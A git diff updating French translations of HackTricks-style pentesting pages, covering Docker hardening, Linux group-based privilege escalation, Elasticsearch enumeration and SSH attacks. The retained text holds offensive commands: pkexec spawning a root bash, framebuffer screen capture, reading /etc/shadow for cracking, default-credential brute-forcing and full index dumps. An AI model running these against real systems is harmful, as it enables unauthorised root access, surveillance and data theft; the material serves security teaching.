**Recopilation de plus de scripts** : [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
**Recueil de plus de scripts** : [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
@ -193,9 +193,9 @@ apparmor.md
|
||||
### SELinux dans Docker
|
||||
|
||||
- **Système de Labeling** : SELinux attribue un label unique à chaque processus et objet de système de fichiers.
|
||||
- **Application des Politiques** : Il applique des politiques de sécurité qui définissent quelles actions un label de processus peut effectuer sur d'autres labels au sein du système.
|
||||
- **Labels des Processus de Conteneur** : Lorsque les moteurs de conteneur initient des processus de conteneur, ils se voient généralement attribuer un label SELinux confiné, communément `container_t`.
|
||||
- **Labeling des Fichiers au sein des Conteneurs** : Les fichiers à l'intérieur du conteneur sont généralement étiquetés comme `container_file_t`.
|
||||
- **Application de Politique** : Il applique des politiques de sécurité qui définissent quelles actions un label de processus peut effectuer sur d'autres labels au sein du système.
|
||||
- **Labels de Processus de Conteneur** : Lorsque les moteurs de conteneur initient des processus de conteneur, ils se voient généralement attribuer un label SELinux confiné, communément `container_t`.
|
||||
- **Labeling de Fichiers au sein des Conteneurs** : Les fichiers à l'intérieur du conteneur sont généralement étiquetés comme `container_file_t`.
|
||||
- **Règles de Politique** : La politique SELinux garantit principalement que les processus avec le label `container_t` ne peuvent interagir (lire, écrire, exécuter) qu'avec des fichiers étiquetés comme `container_file_t`.
|
||||
|
||||
Ce mécanisme garantit que même si un processus à l'intérieur d'un conteneur est compromis, il est confiné à interagir uniquement avec des objets ayant les labels correspondants, limitant considérablement les dommages potentiels résultant de tels compromis.
|
||||
@ -290,7 +290,7 @@ BuildKit permet l'utilisation de secrets au moment de la construction avec l'opt
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
Pour les secrets nécessaires dans un conteneur en cours d'exécution, **Docker Compose et Kubernetes** offrent des solutions robustes. Docker Compose utilise une clé `secrets` dans la définition du service pour spécifier des fichiers secrets, comme montré dans un exemple de `docker-compose.yml` :
|
||||
Pour les secrets nécessaires dans un conteneur en cours d'exécution, **Docker Compose et Kubernetes** offrent des solutions robustes. Docker Compose utilise une clé `secrets` dans la définition du service pour spécifier les fichiers secrets, comme montré dans un exemple de `docker-compose.yml` :
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
@ -309,15 +309,19 @@ Dans les environnements Kubernetes, les secrets sont pris en charge nativement e
|
||||
|
||||
### gVisor
|
||||
|
||||
**gVisor** est un noyau d'application, écrit en Go, qui implémente une partie substantielle de la surface système Linux. Il inclut un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) appelé `runsc` qui fournit une **barrière d'isolation entre l'application et le noyau hôte**. Le runtime `runsc` s'intègre avec Docker et Kubernetes, facilitant l'exécution de conteneurs en bac à sable.
|
||||
**gVisor** est un noyau d'application, écrit en Go, qui implémente une partie substantielle de la surface système Linux. Il comprend un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) appelé `runsc` qui fournit une **barrière d'isolation entre l'application et le noyau hôte**. Le runtime `runsc` s'intègre avec Docker et Kubernetes, facilitant l'exécution de conteneurs en bac à sable.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
{{#ref}}
|
||||
https://github.com/google/gvisor
|
||||
{{#endref}}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** est une communauté open source travaillant à construire un runtime de conteneur sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais fournissent une **isolation de charge de travail plus forte utilisant la technologie de virtualisation matérielle** comme deuxième couche de défense.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
{{#ref}}
|
||||
https://katacontainers.io/
|
||||
{{#endref}}
|
||||
|
||||
### Résumé des conseils
|
||||
|
||||
@ -326,11 +330,11 @@ Dans les environnements Kubernetes, les secrets sont pris en charge nativement e
|
||||
- [**Supprimez toutes les capacités**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) et activez uniquement celles qui sont nécessaires** (`--cap-add=...`). Beaucoup de charges de travail n'ont pas besoin de capacités et les ajouter augmente le champ d'une attaque potentielle.
|
||||
- [**Utilisez l'option de sécurité “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus d'acquérir plus de privilèges, par exemple via des binaires suid.
|
||||
- [**Limitez les ressources disponibles pour le conteneur**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Les limites de ressources peuvent protéger la machine contre les attaques par déni de service.
|
||||
- **Ajustez** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** les profils pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis.
|
||||
- **Utilisez** [**des images Docker officielles**](https://docs.docker.com/docker-hub/official_images/) **et exigez des signatures** ou construisez les vôtres à partir de celles-ci. Ne pas hériter ou utiliser des images [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Conservez également les clés root et les phrases de passe dans un endroit sûr. Docker prévoit de gérer les clés avec UCP.
|
||||
- **Ajustez** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** profils pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis.
|
||||
- **Utilisez** [**des images Docker officielles**](https://docs.docker.com/docker-hub/official_images/) **et exigez des signatures** ou construisez les vôtres basées sur elles. Ne pas hériter ou utiliser des images [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Stockez également les clés root et les phrases de passe dans un endroit sûr. Docker prévoit de gérer les clés avec UCP.
|
||||
- **Reconstruisez régulièrement** vos images pour **appliquer des correctifs de sécurité à l'hôte et aux images.**
|
||||
- Gérez vos **secrets avec sagesse** afin qu'il soit difficile pour l'attaquant d'y accéder.
|
||||
- Si vous **exposez le démon Docker, utilisez HTTPS** avec authentification client et serveur.
|
||||
- Si vous **exposez le démon docker, utilisez HTTPS** avec authentification client et serveur.
|
||||
- Dans votre Dockerfile, **privilégiez COPY au lieu de ADD**. ADD extrait automatiquement les fichiers compressés et peut copier des fichiers à partir d'URLs. COPY n'a pas ces capacités. Évitez d'utiliser ADD autant que possible pour ne pas être vulnérable aux attaques via des URLs distantes et des fichiers Zip.
|
||||
- Ayez **des conteneurs séparés pour chaque micro-s**ervice.
|
||||
- **Ne mettez pas ssh** à l'intérieur du conteneur, “docker exec” peut être utilisé pour ssh au conteneur.
|
||||
@ -338,7 +342,7 @@ Dans les environnements Kubernetes, les secrets sont pris en charge nativement e
|
||||
|
||||
## Docker Breakout / Escalade de privilèges
|
||||
|
||||
Si vous êtes **à l'intérieur d'un conteneur Docker** ou si vous avez accès à un utilisateur dans le **groupe docker**, vous pourriez essayer de **vous échapper et d'escalader les privilèges** :
|
||||
Si vous êtes **à l'intérieur d'un conteneur docker** ou si vous avez accès à un utilisateur dans le **groupe docker**, vous pourriez essayer de **vous échapper et d'escalader les privilèges** :
|
||||
|
||||
{{#ref}}
|
||||
docker-breakout-privilege-escalation/
|
||||
@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/
|
||||
|
||||
## Contournement du plugin d'authentification Docker
|
||||
|
||||
Si vous avez accès au socket Docker ou si vous avez accès à un utilisateur dans le **groupe docker mais que vos actions sont limitées par un plugin d'authentification Docker**, vérifiez si vous pouvez **le contourner :**
|
||||
Si vous avez accès au socket docker ou si vous avez accès à un utilisateur dans le **groupe docker mais que vos actions sont limitées par un plugin d'authentification docker**, vérifiez si vous pouvez **le contourner :**
|
||||
|
||||
{{#ref}}
|
||||
authz-and-authn-docker-access-authorization-plugin.md
|
||||
@ -355,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md
|
||||
## Renforcement de Docker
|
||||
|
||||
- L'outil [**docker-bench-security**](https://github.com/docker/docker-bench-security) est un script qui vérifie des dizaines de meilleures pratiques courantes autour du déploiement de conteneurs Docker en production. Les tests sont tous automatisés et sont basés sur le [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Vous devez exécuter l'outil depuis l'hôte exécutant Docker ou depuis un conteneur avec suffisamment de privilèges. Découvrez **comment l'exécuter dans le README :** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
Vous devez exécuter l'outil depuis l'hôte exécutant docker ou depuis un conteneur avec suffisamment de privilèges. Découvrez **comment l'exécuter dans le README :** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### **PE - Méthode 1**
|
||||
|
||||
**Parfois**, **par défaut (ou parce que certains logiciels en ont besoin)**, à l'intérieur du **/etc/sudoers** fichier, vous pouvez trouver certaines de ces lignes :
|
||||
**Parfois**, **par défaut (ou parce que certains logiciels en ont besoin)**, à l'intérieur du fichier **/etc/sudoers**, vous pouvez trouver certaines de ces lignes :
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -27,7 +27,7 @@ Trouvez tous les binaires suid et vérifiez s'il y a le binaire **Pkexec** :
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
Si vous constatez que le binaire **pkexec est un binaire SUID** et que vous appartenez à **sudo** ou **admin**, vous pourriez probablement exécuter des binaires en tant que sudo en utilisant `pkexec`.\
|
||||
C'est parce que typiquement, ce sont les groupes à l'intérieur de la **politique polkit**. Cette politique identifie essentiellement quels groupes peuvent utiliser `pkexec`. Vérifiez-le avec :
|
||||
Ceci est dû au fait que typiquement, ce sont les groupes à l'intérieur de la **politique polkit**. Cette politique identifie essentiellement quels groupes peuvent utiliser `pkexec`. Vérifiez-le avec :
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
@ -43,7 +43,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Ce n'est pas parce que vous n'avez pas de permissions mais parce que vous n'êtes pas connecté sans une interface graphique**. Et il existe une solution à ce problème ici : [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Vous avez besoin de **2 sessions ssh différentes** :
|
||||
**Ce n'est pas parce que vous n'avez pas les autorisations, mais parce que vous n'êtes pas connecté sans interface graphique**. Et il existe une solution à ce problème ici : [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Vous avez besoin de **2 sessions ssh différentes** :
|
||||
```bash:session1
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
||||
@ -158,7 +158,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
Le **tty1** signifie que l'utilisateur **yossi est connecté physiquement** à un terminal sur la machine.
|
||||
|
||||
Le **groupe vidéo** a accès à l'affichage de la sortie de l'écran. En gros, vous pouvez observer les écrans. Pour ce faire, vous devez **capturer l'image actuelle à l'écran** en données brutes et obtenir la résolution que l'écran utilise. Les données de l'écran peuvent être enregistrées dans `/dev/fb0` et vous pouvez trouver la résolution de cet écran dans `/sys/class/graphics/fb0/virtual_size`
|
||||
Le **groupe vidéo** a accès à l'affichage de la sortie écran. En gros, vous pouvez observer les écrans. Pour ce faire, vous devez **capturer l'image actuelle à l'écran** en données brutes et obtenir la résolution que l'écran utilise. Les données de l'écran peuvent être enregistrées dans `/dev/fb0` et vous pouvez trouver la résolution de cet écran dans `/sys/class/graphics/fb0/virtual_size`
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
@ -167,7 +167,7 @@ Pour **ouvrir** l'**image brute**, vous pouvez utiliser **GIMP**, sélectionner
|
||||
|
||||
.png>)
|
||||
|
||||
Ensuite, modifiez la largeur et la hauteur pour celles utilisées sur l'écran et vérifiez différents types d'images (et sélectionnez celui qui montre mieux l'écran) :
|
||||
Ensuite, modifiez la largeur et la hauteur pour celles utilisées sur l'écran et vérifiez différents types d'image (et sélectionnez celui qui montre le mieux l'écran) :
|
||||
|
||||
.png>)
|
||||
|
||||
@ -201,9 +201,13 @@ Enfin, si vous n'aimez aucune des suggestions précédentes, ou si elles ne fonc
|
||||
|
||||
Si vous avez des permissions d'écriture sur le socket docker, lisez [**ce post sur la façon d'escalader les privilèges en abusant du socket docker**](../#writable-docker-socket)**.**
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
## Groupe lxc/lxd
|
||||
|
||||
|
||||
@ -1,11 +1,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
# Groupes Sudo/Admin
|
||||
|
||||
## **PE - Méthode 1**
|
||||
|
||||
**Parfois**, **par défaut \(ou parce que certains logiciels en ont besoin\)**, vous pouvez trouver certaines de ces lignes dans le fichier **/etc/sudoers** :
|
||||
**Parfois**, **par défaut \(ou parce que certains logiciels en ont besoin\)**, dans le fichier **/etc/sudoers**, vous pouvez trouver certaines de ces lignes :
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
@ -71,9 +70,9 @@ Les utilisateurs du **groupe shadow** peuvent **lire** le fichier **/etc/shadow*
|
||||
```text
|
||||
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
|
||||
```
|
||||
Alors, lisez le fichier et essayez de **craquer quelques hashes**.
|
||||
Alors, lisez le fichier et essayez de **craquer quelques hachages**.
|
||||
|
||||
# Groupe de Disque
|
||||
# Groupe de disque
|
||||
|
||||
Ce privilège est presque **équivalent à un accès root** car vous pouvez accéder à toutes les données à l'intérieur de la machine.
|
||||
|
||||
@ -102,7 +101,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
|
||||
```
|
||||
Le **tty1** signifie que l'utilisateur **yossi est connecté physiquement** à un terminal sur la machine.
|
||||
|
||||
Le **groupe vidéo** a accès pour voir la sortie de l'écran. En gros, vous pouvez observer les écrans. Pour ce faire, vous devez **capturer l'image actuelle à l'écran** en données brutes et obtenir la résolution que l'écran utilise. Les données de l'écran peuvent être enregistrées dans `/dev/fb0` et vous pouvez trouver la résolution de cet écran dans `/sys/class/graphics/fb0/virtual_size`
|
||||
Le **groupe vidéo** a accès à l'affichage de la sortie écran. En gros, vous pouvez observer les écrans. Pour ce faire, vous devez **capturer l'image actuelle à l'écran** en données brutes et obtenir la résolution que l'écran utilise. Les données de l'écran peuvent être enregistrées dans `/dev/fb0` et vous pouvez trouver la résolution de cet écran dans `/sys/class/graphics/fb0/virtual_size`
|
||||
```bash
|
||||
cat /dev/fb0 > /tmp/screen.raw
|
||||
cat /sys/class/graphics/fb0/virtual_size
|
||||
@ -127,13 +126,16 @@ find / -group root -perm -g=w 2>/dev/null
|
||||
|
||||
Vous pouvez monter le système de fichiers racine de la machine hôte sur le volume d'une instance, de sorte que lorsque l'instance démarre, elle charge immédiatement un `chroot` dans ce volume. Cela vous donne effectivement un accès root sur la machine.
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
{{#ref}}
|
||||
https://github.com/KrustyHack/docker-privilege-escalation
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
|
||||
{{#ref}}
|
||||
https://fosterelli.co/privilege-escalation-via-docker.html
|
||||
{{#endref}}
|
||||
|
||||
# Groupe lxc/lxd
|
||||
|
||||
[lxc - Escalade de privilèges](lxd-privilege-escalation.md)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,49 +1,95 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.exploit-db.com/" %}
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,6 +8,8 @@ Ce port est utilisé par **Redshift** pour fonctionner. C'est essentiellement un
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file
|
||||
|
||||
C'est l'outil que vous voulez utiliser pour abuser des imprimantes :
|
||||
|
||||
{% embed url="https://github.com/RUB-NDS/PRET" %}
|
||||
{{#ref}}
|
||||
https://github.com/RUB-NDS/PRET
|
||||
{{#endref}}
|
||||
|
||||
# **Shodan**
|
||||
|
||||
|
||||
@ -12,7 +12,7 @@ Un **index** Elasticsearch est une collection de **documents liés** stockés so
|
||||
|
||||
Elasticsearch utilise une structure de données efficace appelée **index inversé** pour faciliter des recherches en texte intégral rapides. Cet index répertorie chaque mot unique dans les documents et identifie les documents dans lesquels chaque mot apparaît.
|
||||
|
||||
Au cours du processus d'indexation, Elasticsearch stocke les documents et construit l'index inversé, permettant des recherches presque en temps réel. L'**index API** est utilisé pour ajouter ou mettre à jour des documents JSON dans un index spécifique.
|
||||
Au cours du processus d'indexation, Elasticsearch stocke les documents et construit l'index inversé, permettant des recherches quasi en temps réel. L'**API d'index** est utilisée pour ajouter ou mettre à jour des documents JSON dans un index spécifique.
|
||||
|
||||
**Port par défaut** : 9200/tcp
|
||||
|
||||
@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
Cela signifie que l'authentification est configurée et **vous avez besoin de credentials valides** pour obtenir des informations d'Elasticsearch. Ensuite, vous pouvez [**essayer de le bruteforcer**](../generic-hacking/brute-force.md#elasticsearch) (il utilise l'authentification HTTP basique, donc tout ce qui peut BF l'authentification HTTP basique peut être utilisé).\
|
||||
Cela signifie que l'authentification est configurée et que **vous avez besoin de credentials valides** pour obtenir des informations d'Elasticsearch. Ensuite, vous pouvez [**essayer de le bruteforcer**](../generic-hacking/brute-force.md#elasticsearch) (il utilise l'authentification HTTP basique, donc tout ce qui peut BF l'authentification HTTP basique peut être utilisé).\
|
||||
Voici une **liste des noms d'utilisateur par défaut** : _**elastic** (superutilisateur), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Les anciennes versions d'Elasticsearch ont le mot de passe par défaut **changeme** pour cet utilisateur.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
@ -118,7 +118,7 @@ Mais maintenant que vous savez que **cet index contient 1000 documents**, vous p
|
||||
|
||||
### Dump all
|
||||
|
||||
Pour exporter tout, vous pouvez simplement aller à **le même chemin qu'auparavant mais sans indiquer d'index** `http://host:9200/_search?pretty=true` comme `http://10.10.10.115:9200/_search?pretty=true`\
|
||||
Pour exporter tout, vous pouvez simplement aller au **même chemin qu'auparavant mais sans indiquer d'index** `http://host:9200/_search?pretty=true` comme `http://10.10.10.115:9200/_search?pretty=true`\
|
||||
N'oubliez pas que dans ce cas, la **limite par défaut de 10** résultats sera appliquée. Vous pouvez utiliser le paramètre `size` pour exporter une **plus grande quantité de résultats**. Lisez la section précédente pour plus d'informations.
|
||||
|
||||
### Search
|
||||
@ -161,11 +161,12 @@ Certains outils obtiendront certaines des données présentées précédemment :
|
||||
```bash
|
||||
msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||
```
|
||||
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
|
||||
{{#ref}}
|
||||
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
|
||||
{{#endref}}
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:9200 elasticsearch`
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,9 @@
|
||||
|
||||
# **Mots de passe par défaut**
|
||||
|
||||
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
|
||||
{{#ref}}
|
||||
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
|
||||
{{#endref}}
|
||||
|
||||
# Fichiers de configuration
|
||||
```text
|
||||
|
||||
@ -25,9 +25,11 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
La faille MS14-068 permet à un attaquant de manipuler le jeton de connexion Kerberos d'un utilisateur légitime pour revendiquer faussement des privilèges élevés, comme être un administrateur de domaine. Cette revendication contrefaite est validée par erreur par le contrôleur de domaine, permettant un accès non autorisé aux ressources réseau à travers la forêt Active Directory.
|
||||
La faille MS14-068 permet à un attaquant de falsifier le jeton de connexion Kerberos d'un utilisateur légitime pour revendiquer faussement des privilèges élevés, comme être un administrateur de domaine. Cette revendication contrefaite est validée par erreur par le contrôleur de domaine, permettant un accès non autorisé aux ressources réseau à travers la forêt Active Directory.
|
||||
|
||||
{% embed url="https://adsecurity.org/?p=541" %}
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
{{#endref}}
|
||||
|
||||
Autres exploits : [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||
|
||||
|
||||
@ -2,8 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## Informations de base
|
||||
|
||||
**SSH (Secure Shell ou Secure Socket Shell)** est un protocole réseau qui permet une connexion sécurisée à un ordinateur via un réseau non sécurisé. Il est essentiel pour maintenir la confidentialité et l'intégrité des données lors de l'accès à des systèmes distants.
|
||||
@ -97,7 +95,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
||||
|
||||
### Énumération des noms d'utilisateur
|
||||
|
||||
Dans certaines versions d'OpenSSH, vous pouvez effectuer une attaque par temporisation pour énumérer les utilisateurs. Vous pouvez utiliser un module metasploit afin d'exploiter cela :
|
||||
Dans certaines versions d'OpenSSH, vous pouvez effectuer une attaque par temporisation pour énumérer les utilisateurs. Vous pouvez utiliser un module Metasploit pour exploiter cela :
|
||||
```
|
||||
msf> use scanner/ssh/ssh_enumusers
|
||||
```
|
||||
@ -107,7 +105,7 @@ Quelques identifiants ssh courants [ici](https://github.com/danielmiessler/SecLi
|
||||
|
||||
### Force brute de clé privée
|
||||
|
||||
Si vous connaissez quelques clés privées ssh qui pourraient être utilisées... essayons. Vous pouvez utiliser le script nmap :
|
||||
Si vous connaissez certaines clés privées ssh qui pourraient être utilisées... essayons. Vous pouvez utiliser le script nmap :
|
||||
```
|
||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||
```
|
||||
@ -117,9 +115,11 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
||||
```
|
||||
Ou utilisez `ssh-keybrute.py` (python3 natif, léger et avec des algorithmes hérités activés) : [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
|
||||
#### Des clés connues comme mauvaises peuvent être trouvées ici :
|
||||
#### Des clés mauvaises connues peuvent être trouvées ici :
|
||||
|
||||
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
|
||||
{{#ref}}
|
||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
{{#endref}}
|
||||
|
||||
#### Clés SSH faibles / PRNG prévisible Debian
|
||||
|
||||
@ -159,7 +159,7 @@ Si vous êtes sur le réseau local de la victime qui va se connecter au serveur
|
||||
|
||||
- **Redirection de trafic :** L'attaquant **détourne** le trafic de la victime vers sa machine, interceptant ainsi **la tentative de connexion** au serveur SSH.
|
||||
- **Interception et journalisation :** La machine de l'attaquant agit comme un **proxy**, **capturant** les détails de connexion de l'utilisateur en prétendant être le serveur SSH légitime.
|
||||
- **Exécution de commandes et relais :** Enfin, le serveur de l'attaquant **journalise les identifiants de l'utilisateur**, **transmet les commandes** au véritable serveur SSH, **les exécute**, et **renvoie les résultats** à l'utilisateur, rendant le processus apparemment fluide et légitime.
|
||||
